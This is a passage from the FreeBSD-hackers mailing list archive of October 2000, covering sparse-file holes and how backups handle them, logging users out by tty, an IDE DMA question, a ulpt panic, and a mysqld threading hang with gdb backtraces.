"Leif Neland" To: "Ryan Thompson" , "Matt Dillon" Cc: References: Subject: Re: Filesystem holes Date: Mon, 30 Oct 2000 07:00:55 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hmm... Perhaps you're still missing my original point? I'm talking about > a file with 96GB in addressable bytes (well, probably a bunch of files, > given logical filesize limitations, but let's say for simplicity's sake > that we have a single file). It's actual "size" (in terms of allocated > blocks) will be only a bit larger than 2.1GB. (Directly proportional to > the used size of the dataset. Discrepancies only come into play when > record size != block size, but that can be worked around somewhat) > > In other words, ls -ls will report the "size" as some ridiculously large > number, will show a much smaller block count. So, assuming four records > are added to the file on block boundaries, the file will actually only use > four blocks... nowhere near 96GB! > > In the UNIX filesystem (ya, I know.. just pick one :-), size of file != > space allocated for file. Thus, my original questions were centered > around filesystem holes. I.e., non-allocated chunks in the middle of a > file. When trying to READ from within a hole, the kernel just sends back > a buffer of zeros... which is enough to show that the record is not > initialized. Actually, something like an "exists" function for a record > wouldn't touch the disk at all! When writing to a hole, the kernel simply > allocates the necessary block(s). This is really fast, too, for creation, > as the empty set can be written to disk with touch(1), and uses far less > memory than virtual initialization or memory structures ;-) > What will happen, if somebody (possibly you, as mahordomo says), tries to make a backup of that file. Will the copy also be with holes, or would that file suddenly use all 96GB? It will at least do so, if one does cat file>file.bak Probably tar will do the same. I'd be afraid to create something which could easily blow up by having normal operations applied to it. Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23: 6: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id EC5B337B4CF for ; Sun, 29 Oct 2000 23:05:54 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id BAA99549; Mon, 30 Oct 2000 01:09:41 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Mon, 30 Oct 2000 01:09:41 -0600 (CST) From: Ryan Thompson To: Matt Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes In-Reply-To: <200010300316.e9U3GiP72404@earth.backplane.com> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matt Dillon wrote to Ryan Thompson: > :Hi, Matt! Thanks for the replies. I'll try and keep you interested ;-) > : > :Hmm... Perhaps you're still missing my original point? I'm talking about > :a file with 96GB in addressable bytes (well, probably a bunch of files, > :given logical filesize limitations, but let's say for simplicity's sake > :that we have a single file). It's actual "size" (in terms of allocated > :blocks) will be only a bit larger than 2.1GB. (Directly proportional to > :the used size of the dataset. Discrepancies only come into play when > :record size != block size, but that can be worked around somewhat) > > Ah, ok... that's better, though I think you will find yourself > tuning it endlessly if the blocksize does not match-up. Remember, > the filesystem allocates 8K per block, so if your record size is > 1500 bytes and you have a random distribution, you are going to > wind up eating 8-14GB. True.. As they say, "Disk is cheap", though... And "tuning" isn't so bad on a simple address calculation. I agree that if the record size doesn't closely match the blocksize, there will be a waste of space, but at least that waste is proportional to the dataset... Better than many data structures that I could call by name. It wouldn't be that difficult with many problem sets to optimize them to the point where their records align neatly with the blocksize. Granted, the waste space would hang you with some problem sets. I propose, though, that for some problems, it is easy enough to tune them to reduce (or, if you're really lucky, eliminate), waste space. Yes, this is a specialized solution. > :In other words, ls -ls will report the "size" as some ridiculously large > :number, will show a much smaller block count. So, assuming four records > :are added to the file on block boundaries, the file will actually only use > :four blocks... nowhere near 96GB! > : > :In the UNIX filesystem (ya, I know.. just pick one :-), size of file != > :space allocated for file. Thus, my original questions were centered > :around filesystem holes. I.e., non-allocated chunks in the middle of a > :file. When trying to READ from within a hole, the kernel just sends back > :a buffer of zeros... which is enough to show that the record is not > :initialized. Actually, something like an "exists" function for a record > :wouldn't touch the disk at all! When writing to a hole, the kernel simply > :allocates the necessary block(s). This is really fast, too, for creation, > :as the empty set can be written to disk with touch(1), and uses far less > :memory than virtual initialization or memory structures ;-) > : > :As an example, try > > Ahh.. yes, I know. I'm a filesystem expert :-) I know, Matt, and that's why it's great to talk to you about this :-) I guess I needed an example to convey my point, though. I apologize if it came across as an insult to your intelligence; 'twas not intended that way in the least. > However, that said, I > will tell you quite frankly that virtually *nobody* depends on holes > for efficient storage. Ahh. Ok. This is the kind of response I was looking for. Case studies :-) > There are only a few problems where it's > practical.... some forms of executables, and sparse matrixes. That's > pretty much it. > :And analyze the reported filesize, as well as the reported block count of > :the file. You should see a 2GB "size", and maybe 8K in allocated blocks > :(depends how you ran newfs ;-). This is behaviour that has been around > :since the original UFS. > > It's not a good idea to use a small block size in UFS. The minimum > is pretty much 1K frag, 8K block. for a sparse file this means 8K > is the minimum that will be allocated (frags are only allocated for > the end of a file). Right, which is why this strategy _does_ only work for a specific subset of problems, just as a directed graph works well for a path structure, but would really suck for (among other things) maintaining a sorted list of account numbers. > If you think the btree idea is too complex to implement quickly, then > try using a radix tree (essentially what you said in regards to > breaking the hash you calculate into a node traversal). For your > problem I would recommend 64 elements per node, which corresponds to > 6 bits. 16 million records would fit in 6x4 = 4 levels. If you > cache the first three levels in memory you eat 64^3 = 262144 x > sizeof(record). Assuming a simple file offset for the record, you eat > exactly 1MB of memory, 64MB for the file index, and your data can > be placed sequentially in the file. Right. One more way to skin the cat, and a pretty good one at that, if you have main memory to burn (I don't :-) Assuming, though, (yes, I'm going to be a bit stubborn, here... ;-) that I WANT to use this address calculation method in conjunction with the filesystem's ability to allocate blocks as they are used... I can do so with some calculable storage increase on disk (which can probably be reduced or eliminated, depending on the problem). Assuming that increase is affordable, then implementing this data structure can be done without the use of ANY significant main memory. Not 64MB... Not 1MB... Just a few KB here and there for a temp record or two, functions and library calls, while accesses are still very fast. Recall that another 64MB of RAM probably costs almost as much right now as the difference between a 20GB HD and a 30GB HD. SO.. Assuming that I could sell enough of that rationale in my design... And I went ahead to implementation... I shall ask the original question: Once a block has been allocated in the middle of a file, is there a simple and efficient way to de-allocate that block arbitrarily? (So, if I seek to the middle of a file, write 8KB, and later decide that I want to remove that 8KB block to reclaim the space, can it be done in userland? If so, how?) Thanks for reading! :-) > -Matt > - Ryan -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:18:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nt7000m10.jfsys.com (unknown [202.106.65.15]) by hub.freebsd.org (Postfix) with ESMTP id 016F937B479 for ; Sun, 29 Oct 2000 23:18:13 -0800 (PST) Received: by NT7000M10 with Internet Mail Service (5.5.1960.3) id ; Mon, 30 Oct 2000 15:13:58 +0800 Message-ID: <83269C6B5F0BD411B4590004AC56C6400164E0@NT7000M10> From: qianfeng To: "'freebsd-hackers@freebsd.org'" Subject: Kernel tutorials Date: Mon, 30 Oct 2000 15:13:57 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi,everybody, I am a newbie to the FreeBSD, so I just wander where can I find some kernel tutorials on the internet. Thanks for your help! Qian Feng To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:24:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 6D1F037B4C5 for ; Sun, 29 Oct 2000 23:24:15 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9U7NuB73306; Sun, 29 Oct 2000 23:23:56 -0800 (PST) (envelope-from dillon) Date: Sun, 29 Oct 2000 23:23:56 -0800 (PST) From: Matt Dillon Message-Id: <200010300723.e9U7NuB73306@earth.backplane.com> To: "Leif Neland" Cc: "Ryan Thompson" , Subject: Re: Filesystem holes References: <01a801c04236$ed0a0d20$0e00a8c0@neland.dk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> :What will happen, if somebody (possibly you, as mahordomo says), tries to :make a backup of that file. That will depend on the backup program. dump/restore can handle holes just fine. tar can handle them in a 'fake' way, and you have to tell it. Programs like 'cp' cannot handle holes.... they'll copy the zero's. :I'd be afraid to create something which could easily blow up by having :normal operations applied to it. : :Leif Yes, there's a high probability of that. It's one of the reasons why people typically use the feature, at least not for 'permanent' data sets. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:26:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 73B9737B4C5 for ; Sun, 29 Oct 2000 23:26:54 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9U7Qsc73333; Sun, 29 Oct 2000 23:26:54 -0800 (PST) (envelope-from dillon) Date: Sun, 29 Oct 2000 23:26:54 -0800 (PST) From: Matt Dillon Message-Id: <200010300726.e9U7Qsc73333@earth.backplane.com> To: David Preece Cc: freebsd-hackers@freebsd.org Subject: Re: Filesystem holes References: <5.0.0.25.1.20001030172530.00a06070@mail.afterswish.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :Presumably writing into these holes repeatedly is a none-too-efficient :affair (requiring moving all the stuff on either side), or am I missing the :point slightly? : :Dave :) It isn't quite that bad, but it isn't a walk in the park either. Since data blocks are referenced from a block table, inserting new blocks is cheap. However, this means that data may not be physically ordered in the file -- if your read crosses a block boundry it may require an extra seek. FreeBSD's FFS does have the reallocblks feature turned on and this will cause the filesystem to try to reorder nearby blocks, but it was never designed to handle sparse files so.... -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:29: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 6313837B4C5; Sun, 29 Oct 2000 23:29:00 -0800 (PST) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id IAA22815; Mon, 30 Oct 2000 08:27:51 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200010300727.IAA22815@freebsd.dk> Subject: Re: DMA/66 not available for secondary IDE bus? In-Reply-To: <200010300405.e9U45wu75483@spoon.beta.com> from Brian McGovern at "Oct 29, 2000 11:05:58 pm" To: mcgovern@spoon.beta.com (Brian McGovern) Date: Mon, 30 Oct 2000 08:27:51 +0100 (CET) Cc: qa@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Brian McGovern wrote: > This may be intentional, but I've noticed that if you have a non-UDMA66 device > on the primary IDE bus, FreeBSD 4.x does not allow you to have UDMA66 on > the secondary bus. Say what ? there is NO such limitation in the ATA driver.... What chipset are we talking about here ? -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:34:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 5B2FD37B479 for ; Sun, 29 Oct 2000 23:34:08 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9U7XfG04435; Sun, 29 Oct 2000 23:33:41 -0800 (PST) Date: Sun, 29 Oct 2000 23:33:41 -0800 From: Alfred Perlstein To: qianfeng Cc: "'freebsd-hackers@freebsd.org'" Subject: Re: Kernel tutorials Message-ID: <20001029233340.M22110@fw.wintelcom.net> References: <83269C6B5F0BD411B4590004AC56C6400164E0@NT7000M10> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <83269C6B5F0BD411B4590004AC56C6400164E0@NT7000M10>; from qianfeng@jfsys.com on Mon, Oct 30, 2000 at 03:13:57PM +0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * qianfeng [001029 23:18] wrote: > Hi,everybody, > I am a newbie to the FreeBSD, so I just wander where can I find > some kernel tutorials on the internet. > Thanks for your help! Try browsing the mailing lists and searching the committer's websites (http://people.freebsd.org/~) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 23:36:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id F06C837B479 for ; Sun, 29 Oct 2000 23:36:52 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id BAA07586; Mon, 30 Oct 2000 01:40:30 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Mon, 30 Oct 2000 01:40:30 -0600 (CST) From: Ryan Thompson To: Leif Neland Cc: Matt Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes In-Reply-To: <01a801c04236$ed0a0d20$0e00a8c0@neland.dk> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Leif Neland wrote to Ryan Thompson and Matt Dillon: > > What will happen, if somebody (possibly you, as mahordomo says), tries to > make a backup of that file. Make sure to use a program that can cope ;-) > Will the copy also be with holes, or would that file suddenly use all 96GB? > It will at least do so, if one does cat file>file.bak > Probably tar will do the same. Actually, tar will handle holes elegantly (this I have tested), with the --sparse option. Older versions would not. cat and other similar "filters" are naive, as they simply block I/O. Backing up with tar and/or a filesystem dump would be just as effective as with any other storage strategy. cat file > file.bak on even a 2GB file is probably not something that would be popular, anyway. > I'd be afraid to create something which could easily blow up by having > normal operations applied to it. That's a valid concern. That's the biggest drawback I see to the overall strategy... But, specialized problems sometimes encourage specialized solutions. > > Leif > -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 0: 3:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 76C3237B479 for ; Mon, 30 Oct 2000 00:03:13 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9U83E773520; Mon, 30 Oct 2000 00:03:14 -0800 (PST) (envelope-from dillon) Date: Mon, 30 Oct 2000 00:03:14 -0800 (PST) From: Matt Dillon Message-Id: <200010300803.e9U83E773520@earth.backplane.com> To: "Leif Neland" , "Ryan Thompson" , Subject: Re: Filesystem holes References: <01a801c04236$ed0a0d20$0e00a8c0@neland.dk> <200010300723.e9U7NuB73306@earth.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : Yes, there's a high probability of that. It's one of the reasons : why people typically use the feature, at least not for 'permanent' : data sets. Ahhh... of course I meant 'typically do not use the feature'. Heh. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 0: 9: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id DE58C37B479 for ; Mon, 30 Oct 2000 00:09:03 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id CAA15540; Mon, 30 Oct 2000 02:12:42 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Mon, 30 Oct 2000 02:12:42 -0600 (CST) From: Ryan Thompson To: andrew@ugh.net.au Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Logging users out In-Reply-To: Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG andrew@ugh.net.au wrote to freebsd-hackers@FreeBSD.ORG: > Hi, > > What is the best way to go about logging a user out given their tty? I had > a couple of ideas: > > (a) open their tty and set the baud rate to 0 Probably wouldn't be very effective. > (b) use tcgetpgrp to get the process group id of the foreground process > group on that tty, then with that info use libkvm to find the session > leader's pid and send it a SIGHUP Why not just kill their controlling shell? That's about all a logout will do, anyway. If they have processes detatched from the controlling terminal, the user typing "logout" will not stop them. Recall that "background" and "foreground" are shell concepts, not properties of any given process. > (c) use tcgetpgrp to get the process group id of the foreground process > group on that tty then using killpg to kill all the members of that > process group. I would need to do this in a loop to catch background > process groups that come to the foreground after a process group is > killed. > > Whenever sending a signal I will have to verify the process exited, > possibly sending TERM and KILL until it does. > > Problems: > > (a) a doesn't seem to work...I'm guessing it only works on serial lines. > > (b) b would be quite unportable I would guess (although thats not a > tragedy I would like to avoid it if it isn't too hard). Also if the > session leader dies is there any guarentee everything else in the session > goes as well? Or would I have to go through and kill every process group > in the session? Never any guarantee.. user programs can set up signal handlers to catch or ignore any signal but SIGKILL. Then again, a user typing "logout" will not clean up absolutely everything, either. > (c) c just seemed to be a bit of a hack (assuming you haven't just read > b). Out of all of them it seems the best so far however. > > Does anyone have any suggestions or comments? Is there a "proper" way to > do this? a) Kill the controlling shell. This will leave some processes behind that are no longer part of the user's session (like programs that have detatched from the terminal and become daemons), and processes that were never part of the user's session (like processes that they started on a different terminal) b) kill - `ps -axo user,pid | grep user | awk '{print $2}'` Kills every process owned by ``user''. Sending SIGKILL does so in a non-catchable way. c) /sbin/halt is pretty much guaranteed to do the trick ;-) > > Thanks, > > Andrew > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 2:15:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 3B84637B479 for ; Mon, 30 Oct 2000 02:15:42 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Mon, 30 Oct 2000 10:15:28 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 13qBxM-00008H-00; Mon, 30 Oct 2000 10:14:20 +0000 Date: Mon, 30 Oct 2000 10:14:20 +0000 (GMT) From: Jan Grant To: Matt Dillon Cc: Leif Neland , Ryan Thompson , freebsd-hackers Subject: Re: Filesystem holes In-Reply-To: <200010300803.e9U83E773520@earth.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The original question still stands, and I'm quite interested in hearing an answer. I think Ryan's looking for an equivalent to Solaris' F_FREESP fcntl; I'm not aware that one exists in FBSD - right? jan -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287163 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk stty intr ^m To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 2:53:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from starbug.ugh.net.au (starbug.ugh.net.au [203.31.238.37]) by hub.freebsd.org (Postfix) with ESMTP id D907D37B4D7 for ; Mon, 30 Oct 2000 02:53:28 -0800 (PST) Received: by starbug.ugh.net.au (Postfix, from userid 1000) id 8570DA851; Mon, 30 Oct 2000 21:53:27 +1100 (EST) Received: from localhost (localhost [127.0.0.1]) by starbug.ugh.net.au (Postfix) with ESMTP id 81E155455; Mon, 30 Oct 2000 20:53:27 +1000 (EST) Date: Mon, 30 Oct 2000 20:53:27 +1000 (EST) From: andrew@ugh.net.au To: Ryan Thompson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Logging users out In-Reply-To: Message-ID: X-WonK: *wibble* MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 30 Oct 2000, Ryan Thompson wrote: > > (b) use tcgetpgrp to get the process group id of the foreground process > > group on that tty, then with that info use libkvm to find the session > > leader's pid and send it a SIGHUP > > Why not just kill their controlling shell? I believe that what I'm doing...the "controlling shell" would be the session leader. The question is how to get its PID. > Recall that "background" and "foreground" are shell concepts, not > properties of any given process. No they are properties of process groups. Each session can have one foreground process group and multiple background session groups. The foreground process group is the one that receives signals and input from the session's controlling terminal. > a) Kill the controlling shell. This will leave some processes behind that The question is how to get its PID? > b) kill - `ps -axo user,pid | grep user | awk '{print $2}'` I only want to grab those on the one tty but thats an easy enough modification. > c) /sbin/halt is pretty much guaranteed to do the trick ;-) but sadly rather intrusive on other ttys :-) Thanks for your help, Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 3:28:18 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.mobilix.dk (unknown [194.234.53.85]) by hub.freebsd.org (Postfix) with ESMTP id A063B37B4C5 for ; Mon, 30 Oct 2000 03:28:09 -0800 (PST) Received: from lflat.vas.mobilix.dk (gw-vas.mobilix.net [212.97.206.4]) by mail.mobilix.dk (8.8.7/8.8.7) with ESMTP id NAA05141 for ; Mon, 30 Oct 2000 13:08:16 +0100 Received: by lflat.vas.mobilix.dk (Postfix, from userid 72044) id BC483A8A6; Mon, 30 Oct 2000 12:27:36 +0100 (CET) Date: Mon, 30 Oct 2000 12:27:36 +0100 From: Vadim Belman To: freebsd-hackers@FreeBSD.ORG Subject: Re: ulpt is broken. Message-ID: <20001030122736.B42646@lflat.vas.mobilix.dk> Mail-Followup-To: Vadim Belman , freebsd-hackers@FreeBSD.ORG References: <20001029174122.A31674@lflat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20001029174122.A31674@lflat.org>; from voland@lflat.org on Sun, Oct 29, 2000 at 05:41:22PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 29, 2000 at 05:41:22PM +0100, Vadim Belman wrote: > > I've tried to use uplt instead of lpt and got a kernel panic. From kernel > stack trace I found that it happens due to a wrong pointer to dev structure > being passed to usbd_do_request_flags. I've made a PR for the problem > (despite its number is'n known to me yet) but would like to duplicate it > here. The PR is kern/22397. Could anyone take a look into it? A solution must be easy to find. -- /Voland Vadim Belman E-mail: voland@lflat.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 3:39:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.gutatelecom.ru (ns.gutatelecom.ru [195.7.161.13]) by hub.freebsd.org (Postfix) with ESMTP id EEAA437B479 for ; Mon, 30 Oct 2000 03:39:18 -0800 (PST) Received: from hub.all.yans.ru (unknown [10.123.0.2]) by ns.gutatelecom.ru (Postfix) with ESMTP id 8E9936E71A for ; Mon, 30 Oct 2000 14:39:12 +0300 (MSK) Received: by hub.all.yans.ru (Postfix, from userid 300) id AB2FB7F8BE; Mon, 30 Oct 2000 14:38:43 +0300 (MSK) Date: Mon, 30 Oct 2000 14:38:43 +0300 From: Ekaterina Ivannikova To: freebsd-hackers@freebsd.org Subject: Possible problem with threads lib in FreeBSD 4.1 Message-ID: <20001030143843.A7588@hub.all.yans.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi All, This is a repost of my letter to freebsd-bugs which apparently went to /dev/null or whereabouts. Since this is a developers' mailing list could anybody with intimate knowledge of how FreeBSD threads work have a look ? I do need this problem solved soon, please help. I was pursuing a strange bug which causes mysqld to hang (that is not to accept any new connections) on FreeBSD 4.1 after working for some time properly and MySQL folks suggested that there may be some pecularity in FreeBSD threads library. Here is the relevant information. >Release: mysql-3.23.25-beta (Source distribution) >Environment: System: FreeBSD hub.all.yans.ru 4.1-RELEASE FreeBSD 4.1-RELEASE #2: Mon Oct 9 14:22:57 MSD 2000 root@hub.all.yans.ru:/usr/src/sys/compile/HUB i386 Some paths: /usr/bin/perl /usr/bin/make /usr/local/bin/gmake /usr/bin/gcc /usr/bin/cc GCC: Using builtin specs. gcc version 2.95.2 19991024 (release) Compilation info: CC='cc' CFLAGS='-Wall -pipe' CXX='cc' CXXFLAGS='-Wall -pipe -fno-rtti -fno-exceptions -felide-constructors' LDFLAGS='' LIBC: -r--r--r-- 1 root wheel 1156960 Jul 28 17:05 /usr/lib/libc.a lrwxrwxrwx 1 root wheel 9 Aug 30 21:17 /usr/lib/libc.so -> libc.so.4 -r--r--r-- 1 root wheel 553460 Jul 28 17:05 /usr/lib/libc.so.4 Configure command: ./configure --prefix=/usr/local/mysql --with-debug=full --without-readline --enable-assembler --localstatedir=/var/db/mysql --enable-thread-safe-client Perl: This is perl, version 5.005_03 built for i386-freebsd Attaching with gdb to mysqld process produced the following output: bash-2.04# gdb mysqld 47659 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... /root/mysql-3.23.25-beta/sql/47659: No such file or directory. Attaching to program: /root/mysql-3.23.25-beta/sql/mysqld, process 47659 Reading symbols from /usr/lib/libc_r.so.4...done. Reading symbols from /usr/lib/libm.so.2...done. Reading symbols from /usr/lib/libz.so.2...done. Reading symbols from /usr/lib/libcrypt.so.2...done. Reading symbols from /usr/libexec/ld-elf.so.1...done. 0x2821ff64 in _thread_sys_poll () from /usr/lib/libc_r.so.4 (gdb) info threads 4 process 47659, thread 4 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 3 process 47659, thread 3 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 2 process 47659, thread 2 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 * 1 process 47659, thread 1 0x2821ff64 in _thread_sys_poll () from /usr/lib/libc_r.so.4 (gdb) thread 1 [Switching to thread 1 (process 47659, thread 1)] #0 0x2821ff64 in _thread_sys_poll () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x2821ff64 in _thread_sys_poll () from /usr/lib/libc_r.so.4 #1 0x28218913 in _thread_kern_sched_state_unlock () from /usr/lib/libc_r.so.4 #2 0x28217ffe in _thread_kern_sched () from /usr/lib/libc_r.so.4 #3 0x28218493 in _thread_kern_sched_state_unlock () from /usr/lib/libc_r.so.4 #4 0x2821643a in pthread_mutex_lock () from /usr/lib/libc_r.so.4 #5 0x2821d329 in pthread_exit () from /usr/lib/libc_r.so.4 #6 0x8079ca1 in end_thread (thd=0x8a3d000, put_in_cache=true) at mysqld.cc:928 #7 0x807ef15 in handle_one_connection (arg=0x8a3d000) at sql_parse.cc:421 #8 0x281df65b in _thread_start () from /usr/lib/libc_r.so.4 #9 0x0 in ?? () (gdb) thread 2 [Switching to thread 2 (process 47659, thread 2)] #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 #1 0x28218493 in _thread_kern_sched_state_unlock () from /usr/lib/libc_r.so.4 #2 0x2821643a in pthread_mutex_lock () from /usr/lib/libc_r.so.4 #3 0x2821d329 in pthread_exit () from /usr/lib/libc_r.so.4 #4 0x8079ca1 in end_thread 